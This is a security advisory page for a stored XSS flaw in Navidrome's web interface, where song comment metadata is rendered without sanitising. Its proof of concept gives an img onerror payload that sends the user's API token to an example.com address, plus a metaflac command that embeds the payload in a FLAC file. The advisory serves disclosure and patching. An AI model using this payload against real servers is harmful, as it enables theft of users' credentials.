GHSA-rh3r-8pxm-hg4w

Suggest an improvement
Source
https://github.com/advisories/GHSA-rh3r-8pxm-hg4w
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-rh3r-8pxm-hg4w/GHSA-rh3r-8pxm-hg4w.json
JSON Data
https://api.test.osv.dev/v1/vulns/GHSA-rh3r-8pxm-hg4w
Aliases
Published
2026-02-04T00:12:20Z
Modified
2026-02-05T03:56:10Z
Severity
  • 6.1 (Medium) CVSS_V3 - CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:N CVSS Calculator
Summary
Navidrome has XSS via comment from song metadata
Details

Summary

An XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials.

An attacker's maliciously crafted song has to be added to Navidrome to exploit the vulnerability.

Details

The frontend is using React. In various places, the code uses the dangerouslySetInnerHTML escape hatch to set the content of an HTML element.

In some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability.

In MultiLineTextField component, the input is split into lines and rendered through the dangerouslySetInnerHTML property.

<div
  data-testid={`${source}.${idx}`}
  key={md5(line + idx)}
  dangerouslySetInnerHTML={{ __html: line }}
/>

This component is then used in the SongInfo and AlbumInfo components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS COMMENT comment of a FLAC file.

By crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info.

Additionally, as the Navidrome API token is kept in local storage and since there's no CSP in place unless the user's configured one outside of Navidrome, the attacker can exfiltrate the API token.

PoC

  1. Modify the comment field of a song to contain the following payload using a tool like MusicBrain'z Picard:
<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />

or use metaflac:

echo '<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />' | metaflac --set-tag=comment=<(cat) file.flac
  1. Add the song to Navidrome
  2. Enter the "Songs" or one of the albums page, click the "kebab menu" and then "Get Info"

In this payload, a broken image can be seen in the info dialog.

image

In the developer tools' network inspector, the request exfiltrating the token to an example domain can be seen.

image

Impact

The vulnerability affects users of the Navidrome UI with songs from untrusted sources.

Mitigations

Database specific
{
    "cwe_ids":  [
        "CWE-79",
        "CWE-80"
    ],
    "github_reviewed":  true,
    "github_reviewed_at":  "2026-02-04T00:12:20Z",
    "nvd_published_at":  "2026-02-04T22:16:01Z",
    "severity":  "MODERATE"
}
References

Affected packages

Go / github.com/navidrome/navidrome

Package

Name
github.com/navidrome/navidrome
View open source insights on deps.dev
Purl
pkg:golang/github.com/navidrome/navidrome

Affected ranges

Type
SEMVER
Events
Introduced
0 Unknown introduced version / All previous versions are affected
Fixed
0.60.0

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-rh3r-8pxm-hg4w/GHSA-rh3r-8pxm-hg4w.json"